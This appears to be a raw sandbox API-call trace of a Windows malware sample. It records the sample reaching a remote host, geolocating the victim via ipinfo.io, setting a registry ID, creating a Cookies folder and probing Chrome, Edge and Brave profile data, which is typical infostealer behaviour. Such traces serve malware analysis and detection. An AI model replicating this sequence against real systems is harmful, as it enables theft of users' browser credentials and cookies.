[0175.124] VirtualAlloc (lpAddress=0xc0002ac000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ac000 [0175.125] SetEvent (hEvent=0xa0) returned 1 [0175.125] SetEvent (hEvent=0xe8) returned 1 [0175.125] GetFileAttributesExW (in: lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\system.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\system.txt"), fInfoLevelId=0x0, lpFileInformation=0xc00019ea80 | out: lpFileInformation=0xc00019ea80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xddba9cd0, ftCreationTime.dwHighDateTime=0x1da5ebf, ftLastAccessTime.dwLowDateTime=0xddba9cd0, ftLastAccessTime.dwHighDateTime=0x1da5ebf, ftLastWriteTime.dwLowDateTime=0xddc9df10, ftLastWriteTime.dwHighDateTime=0x1da5ebf, nFileSizeHigh=0x0, nFileSizeLow=0x21e)) returned 1 [0175.150] VirtualAlloc (lpAddress=0xc0002ae000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ae000 [0175.150] VirtualAlloc (lpAddress=0xc0002b0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002b0000 [0175.151] GetAddrInfoW (in: pNodeName="hzp02itt0a.com", pServiceName=0x0, pHints=0xc0002b5f40*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0xc0002b5e78 | out: ppResult=0xc0002b5e78*=0x1db6480*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1db64c0*(sa_family=2, sin_port=0x0, sin_addr="193.178.170.30"), ai_next=0x0)) returned 0 [0175.157] FreeAddrInfoW (pAddrInfo=0x1db6480*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1db64c0*(sa_family=2, sin_port=0x0, sin_addr="193.178.170.30"), ai_next=0x0)) [0175.157] SetEvent (hEvent=0xcc) returned 1 [0175.157] WSASocketW (af=2, type=1, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x81) returned 0x200 [0175.158] CreateIoCompletionPort (FileHandle=0x200, ExistingCompletionPort=0x1a8, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x1a8 [0175.158] SetFileCompletionNotificationModes (FileHandle=0x200, Flags=0x3) returned 1 [0175.158] bind (s=0x200, addr=0xc0000132cc*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0175.158] ConnectEx (in: s=0x200, name=0xc0000132ac*(sa_family=2, sin_port=0x50, sin_addr="193.178.170.30"), namelen=16, lpSendBuffer=0x0, dwSendDataLength=0x0, lpdwBytesSent=0x0, lpOverlapped=0xc0000674e8 | out: lpdwBytesSent=0x0) returned 0 [0175.161] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0176.296] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0176.364] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0176.652] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x280af0f0, ulCount=0x10, ulNumEntriesRemoved=0x280af0c4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x280af0f0, ulNumEntriesRemoved=0x280af0c4) returned 0 [0176.652] GetQueuedCompletionStatusEx (CompletionPort=0x1a8, lpCompletionPortEntries=0x280af0f0, ulCount=0x10, ulNumEntriesRemoved=0x280af0c4, dwMilliseconds=0x14ebd, fAlertable=0) Thread: id = 5 os_tid = 0xf9c [0107.268] free (_Block=0x4a5b00) [0107.268] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x2844fb10, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2844fb10*=0xc8) returned 1 [0107.268] VirtualQuery (in: lpAddress=0x2844fb18, lpBuffer=0x2844fb18, dwLength=0x30 | out: lpBuffer=0x2844fb18*(BaseAddress=0x2844f000, AllocationBase=0x28250000, AllocationProtect=0x4, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0107.268] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xcc [0107.268] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd0 [0107.268] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0107.413] SetEvent (hEvent=0xa0) returned 1 [0107.413] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0107.746] SetEvent (hEvent=0xa0) returned 1 [0107.747] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0108.075] SetEvent (hEvent=0xa0) returned 1 [0108.075] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0108.314] SetEvent (hEvent=0xa0) returned 1 [0108.314] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0108.738] SetEvent (hEvent=0xa0) returned 1 [0108.738] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0108.990] SetEvent (hEvent=0xa0) returned 1 [0108.990] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0109.223] SetEvent (hEvent=0xa0) returned 1 [0109.223] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0109.555] SetEvent (hEvent=0xa0) returned 1 [0109.555] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0110.415] SetEvent (hEvent=0xa0) returned 1 [0110.416] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0110.719] SetEvent (hEvent=0xa0) returned 1 [0110.719] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0110.939] SetEvent (hEvent=0xa0) returned 1 [0110.939] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0111.182] SetEvent (hEvent=0xa0) returned 1 [0111.182] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0111.571] SetEvent (hEvent=0xa0) returned 1 [0111.571] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0111.879] SetEvent (hEvent=0xa0) returned 1 [0111.879] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0112.204] SetEvent (hEvent=0xa0) returned 1 [0112.204] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0112.455] SetEvent (hEvent=0xa0) returned 1 [0112.455] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0112.678] SetEvent (hEvent=0xa0) returned 1 [0112.678] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0112.900] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0113.196] SetEvent (hEvent=0xa0) returned 1 [0113.196] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0113.434] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0113.461] SetEvent (hEvent=0xa0) returned 1 [0113.461] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0113.771] SwitchToThread () returned 1 [0113.771] SetEvent (hEvent=0xbc) returned 1 [0113.771] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0146.346] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0146.646] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0149.490] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0149.884] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0149.952] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0149.994] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0153.921] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0157.688] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0158.778] SwitchToThread () returned 1 [0158.779] SetEvent (hEvent=0xb0) returned 1 [0159.100] VirtualAlloc (lpAddress=0xc0001ce000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ce000 [0159.101] SetEvent (hEvent=0xb0) returned 1 [0159.320] GetProcAddress (hModule=0x7feffa10000, lpProcName="GetAddrInfoW") returned 0x7feffa123c0 [0159.322] GetAddrInfoW (in: pNodeName="ipinfo.io", pServiceName=0x0, pHints=0xc0001d3f40*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0xc0001d3e78 | out: ppResult=0xc0001d3e78*=0x1db6090*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1db60d0*(sa_family=2, sin_port=0x0, sin_addr="34.117.186.192"), ai_next=0x0)) returned 0 [0161.482] SetEvent (hEvent=0xe8) returned 1 [0161.482] GetProcAddress (hModule=0x7feffa10000, lpProcName="FreeAddrInfoW") returned 0x7feffa12640 [0161.482] FreeAddrInfoW (pAddrInfo=0x1db6090*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1db60d0*(sa_family=2, sin_port=0x0, sin_addr="34.117.186.192"), ai_next=0x0)) [0161.507] SetEvent (hEvent=0xb0) returned 1 [0161.825] LoadLibraryExW (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7feffa10000 [0161.827] GetProcAddress (hModule=0x7feffa10000, lpProcName="WSASocketW") returned 0x7feffa11bd0 [0161.827] WSASocketW (af=2, type=1, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x81) returned 0x1bc [0161.930] CreateIoCompletionPort (FileHandle=0x1bc, ExistingCompletionPort=0x1a8, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x1a8 [0161.955] SetFileCompletionNotificationModes (FileHandle=0x1bc, Flags=0x3) returned 1 [0162.055] GetProcAddress (hModule=0x7feffa10000, lpProcName="bind") returned 0x7feffa11f00 [0162.055] bind (s=0x1bc, addr=0xc00016d4cc*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0162.057] SetEvent (hEvent=0xb0) returned 1 [0162.139] GetProcAddress (hModule=0x7feffa10000, lpProcName="socket") returned 0x7feffa1de90 [0162.139] socket (af=2, type=1, protocol=6) returned 0x1c4 [0162.165] GetProcAddress (hModule=0x7feffa10000, lpProcName="WSAIoctl") returned 0x7feffa1d620 [0162.165] WSAIoctl (in: s=0x1c4, dwIoControlCode=0xc8000006, lpvInBuffer=0x13fe8b170, cbInBuffer=0x10, lpvOutBuffer=0x1402d1fd0, cbOutBuffer=0x8, lpcbBytesReturned=0xc0000b0c9c, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x1402d1fd0, lpcbBytesReturned=0xc0000b0c9c, lpOverlapped=0x0) returned 0 [0162.185] CloseHandle (hObject=0x1c4) returned 1 [0162.186] ConnectEx (in: s=0x1bc, name=0xc00016d4ac*(sa_family=2, sin_port=0x50, sin_addr="34.117.186.192"), namelen=16, lpSendBuffer=0x0, dwSendDataLength=0x0, lpdwBytesSent=0x0, lpOverlapped=0xc000106d68 | out: lpdwBytesSent=0x0) returned 0 [0162.193] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0162.568] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f210, ulCount=0x10, ulNumEntriesRemoved=0x2844f1e4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x2844f210, ulNumEntriesRemoved=0x2844f1e4) returned 0 [0162.569] SetEvent (hEvent=0xbc) returned 1 [0162.597] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f210, ulCount=0x10, ulNumEntriesRemoved=0x2844f1e4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x2844f210, ulNumEntriesRemoved=0x2844f1e4) returned 0 [0162.598] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f208, ulCount=0x10, ulNumEntriesRemoved=0x2844f1dc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x2844f208, ulNumEntriesRemoved=0x2844f1dc) returned 0 [0162.598] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f208, ulCount=0x10, ulNumEntriesRemoved=0x2844f1dc, dwMilliseconds=0xffffffff, fAlertable=0 | out: lpCompletionPortEntries=0x2844f208, ulNumEntriesRemoved=0x2844f1dc) returned 1 [0163.830] WSAGetOverlappedResult (in: s=0x1bc, lpOverlapped=0xc000106c98, lpcbTransfer=0x2844f1d8, fWait=0, lpdwFlags=0x2844f1e4 | out: lpcbTransfer=0x2844f1d8, lpdwFlags=0x2844f1e4) returned 1 [0163.911] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x278f0000 [0163.912] VirtualAlloc (lpAddress=0xc000300000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000300000 [0163.937] VirtualAlloc (lpAddress=0xc000302000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000302000 [0164.228] VirtualAlloc (lpAddress=0xc000304000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000304000 [0164.228] VirtualAlloc (lpAddress=0xc000306000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000306000 [0164.229] VirtualAlloc (lpAddress=0xc000308000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000308000 [0164.254] VirtualAlloc (lpAddress=0xc00030a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00030a000 [0164.255] VirtualAlloc (lpAddress=0xc00030c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00030c000 [0164.255] VirtualAlloc (lpAddress=0xc00030e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00030e000 [0164.281] VirtualAlloc (lpAddress=0xc000310000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000310000 [0164.282] VirtualAlloc (lpAddress=0xc000312000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000312000 [0164.331] VirtualAlloc (lpAddress=0xc000314000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000314000 [0164.332] VirtualAlloc (lpAddress=0xc000316000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000316000 [0164.332] VirtualAlloc (lpAddress=0xc000318000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000318000 [0164.333] VirtualAlloc (lpAddress=0xc00031a000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00031a000 [0164.334] VirtualAlloc (lpAddress=0xc00031e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00031e000 [0164.593] VirtualAlloc (lpAddress=0xc000320000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000320000 [0164.594] VirtualAlloc (lpAddress=0xc000322000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000322000 [0164.619] SetEvent (hEvent=0xbc) returned 1 [0164.619] VirtualAlloc (lpAddress=0xc000324000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000324000 [0164.832] VirtualAlloc (lpAddress=0xc000326000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000326000 [0164.868] SetEvent (hEvent=0xa0) returned 1 [0164.918] VirtualAlloc (lpAddress=0xc000328000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000328000 [0164.918] VirtualAlloc (lpAddress=0xc00032a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00032a000 [0164.919] PostQueuedCompletionStatus (CompletionPort=0x1a8, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0164.919] SetEvent (hEvent=0xa0) returned 1 [0164.919] SetEvent (hEvent=0xe8) returned 1 [0164.919] WSARecv (in: s=0x1bc, lpBuffers=0xc000106cd8, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000106cc8, lpFlags=0xc000106d48*=0x0, lpOverlapped=0xc000106c98, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000106cd8*=((len=0x1000, buf=0xc000280000)), lpNumberOfBytesRecvd=0xc000106cc8*=0x2ee, lpFlags=0xc000106d48*=0x0, lpOverlapped=0xc000106c98) returned 0xffffffff [0167.206] VirtualAlloc (lpAddress=0xc00032c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00032c000 [0167.358] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0xc00032c000, nSize=0x64 | out: lpBuffer="") returned 0x24 [0167.401] VirtualAlloc (lpAddress=0xc00032e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00032e000 [0167.505] VirtualAlloc (lpAddress=0xc000330000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000330000 [0167.526] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\system.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\system.txt"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c8 [0167.569] GetConsoleMode (in: hConsoleHandle=0x1c8, lpMode=0xc00019f92c | out: lpMode=0xc00019f92c) returned 0 [0167.571] GetFileType (hFile=0x1c8) returned 0x1 [0167.571] VirtualAlloc (lpAddress=0xc000332000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000332000 [0167.762] GetProcAddress (hModule=0x77660000, lpProcName="WriteFile") returned 0x77681f80 [0167.825] WriteFile (in: hFile=0x1c8, lpBuffer=0x14005a890*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0x14005a890*, lpNumberOfBytesWritten=0xc00019f8ec*=0x1, lpOverlapped=0x0) returned 1 [0167.849] WriteFile (in: hFile=0x1c8, lpBuffer=0xc000310240*, nNumberOfBytesToWrite=0x1f, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0xc000310240*, lpNumberOfBytesWritten=0xc00019f8ec*=0x1f, lpOverlapped=0x0) returned 1 [0167.849] WriteFile (in: hFile=0x1c8, lpBuffer=0xc00031e0c0*, nNumberOfBytesToWrite=0x22, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0xc00031e0c0*, lpNumberOfBytesWritten=0xc00019f8ec*=0x22, lpOverlapped=0x0) returned 1 [0167.850] WriteFile (in: hFile=0x1c8, lpBuffer=0xc00031e0f0*, nNumberOfBytesToWrite=0x25, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0xc00031e0f0*, lpNumberOfBytesWritten=0xc00019f8ec*=0x25, lpOverlapped=0x0) returned 1 [0167.870] VirtualAlloc (lpAddress=0xc000334000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000334000 [0167.871] WriteFile (in: hFile=0x1c8, lpBuffer=0xc00031e120*, nNumberOfBytesToWrite=0x25, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0xc00031e120*, lpNumberOfBytesWritten=0xc00019f8ec*=0x25, lpOverlapped=0x0) returned 1 [0167.871] WriteFile (in: hFile=0x1c8, lpBuffer=0xc00031e150*, nNumberOfBytesToWrite=0x25, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0xc00031e150*, lpNumberOfBytesWritten=0xc00019f8ec*=0x25, lpOverlapped=0x0) returned 1 [0167.871] WriteFile (in: hFile=0x1c8, lpBuffer=0xc00031e180*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0xc00031e180*, lpNumberOfBytesWritten=0xc00019f8ec*=0x24, lpOverlapped=0x0) returned 1 [0167.871] WriteFile (in: hFile=0x1c8, lpBuffer=0xc0003102a0*, nNumberOfBytesToWrite=0x1f, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0xc0003102a0*, lpNumberOfBytesWritten=0xc00019f8ec*=0x1f, lpOverlapped=0x0) returned 1 [0167.892] WriteFile (in: hFile=0x1c8, lpBuffer=0xc00031e1b0*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0xc00031e1b0*, lpNumberOfBytesWritten=0xc00019f8ec*=0x2f, lpOverlapped=0x0) returned 1 [0168.041] VirtualAlloc (lpAddress=0xc000336000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000336000 [0168.176] WriteFile (in: hFile=0x1c8, lpBuffer=0xc0003120a8*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0xc0003120a8*, lpNumberOfBytesWritten=0xc00019f8ec*=0x13, lpOverlapped=0x0) returned 1 [0168.176] WriteFile (in: hFile=0x1c8, lpBuffer=0xc000302550*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0xc000302550*, lpNumberOfBytesWritten=0xc00019f8ec*=0xf, lpOverlapped=0x0) returned 1 [0168.177] WriteFile (in: hFile=0x1c8, lpBuffer=0xc0003120c0*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0xc0003120c0*, lpNumberOfBytesWritten=0xc00019f8ec*=0x17, lpOverlapped=0x0) returned 1 [0168.177] WriteFile (in: hFile=0x1c8, lpBuffer=0xc0003120d8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0xc0003120d8*, lpNumberOfBytesWritten=0xc00019f8ec*=0x18, lpOverlapped=0x0) returned 1 [0168.177] WriteFile (in: hFile=0x1c8, lpBuffer=0xc00031e210*, nNumberOfBytesToWrite=0x2b, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0xc00031e210*, lpNumberOfBytesWritten=0xc00019f8ec*=0x2b, lpOverlapped=0x0) returned 1 [0168.177] WriteFile (in: hFile=0x1c8, lpBuffer=0xc00031e240*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0xc00031e240*, lpNumberOfBytesWritten=0xc00019f8ec*=0x2e, lpOverlapped=0x0) returned 1 [0168.177] WriteFile (in: hFile=0x1c8, lpBuffer=0xc00031e270*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0xc00031e270*, lpNumberOfBytesWritten=0xc00019f8ec*=0x30, lpOverlapped=0x0) returned 1 [0168.178] WriteFile (in: hFile=0x1c8, lpBuffer=0xc00031e2a0*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0xc00019f8ec, lpOverlapped=0x0 | out: lpBuffer=0xc00031e2a0*, lpNumberOfBytesWritten=0xc00019f8ec*=0x21, lpOverlapped=0x0) returned 1 [0168.199] CloseHandle (hObject=0x1c8) returned 1 [0168.309] VirtualAlloc (lpAddress=0xc000338000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000338000 [0168.330] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\iPwonTCGCC", ulOptions=0x0, samDesired=0xf003f, phkResult=0xc00019fbc0 | out: phkResult=0xc00019fbc0*=0x0) returned 0x2 [0168.395] VirtualAlloc (lpAddress=0xc00033a000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00033a000 [0168.481] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7feff870000 [0168.502] GetProcAddress (hModule=0x7feff870000, lpProcName="RegCreateKeyExW") returned 0x7feff88b520 [0168.503] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\iPwonTCGCC", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0xc00019fbc0, lpdwDisposition=0xc00019fbb8 | out: phkResult=0xc00019fbc0*=0x1d4, lpdwDisposition=0xc00019fbb8*=0x1) returned 0x0 [0168.505] GetProcAddress (hModule=0x7feff870000, lpProcName="RegSetValueExW") returned 0x7feff881ed0 [0168.506] RegSetValueExW (in: hKey=0x1d4, lpValueName="ID", Reserved=0x0, dwType=0x1, lpData="zTmOZs75", cbData=0x12 | out: lpData="zTmOZs75") returned 0x0 [0168.507] RegCloseKey (hKey=0x1d4) returned 0x0 [0168.528] GetProcAddress (hModule=0x77660000, lpProcName="CreateDirectoryW") returned 0x7766a210 [0168.528] CreateDirectoryW (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\Cookies" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\cookies"), lpSecurityAttributes=0x0) returned 1 [0168.620] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00032c0d0, nSize=0x64 | out: lpBuffer="") returned 0x12 [0168.643] VirtualAlloc (lpAddress=0xc00033e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00033e000 [0168.644] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Google\\Chrome\\User Data" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\google\\chrome\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.688] VirtualAlloc (lpAddress=0xc000340000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000340000 [0168.691] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\google\\chrome\\user data\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.714] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00032c1a0, nSize=0x64 | out: lpBuffer="") returned 0x12 [0168.752] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Edge\\User Data" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\edge\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.755] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\edge\\user data\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.756] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00032c270, nSize=0x64 | out: lpBuffer="") returned 0x12 [0168.756] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\bravesoftware\\brave-browser\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.756] VirtualAlloc (lpAddress=0xc000342000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 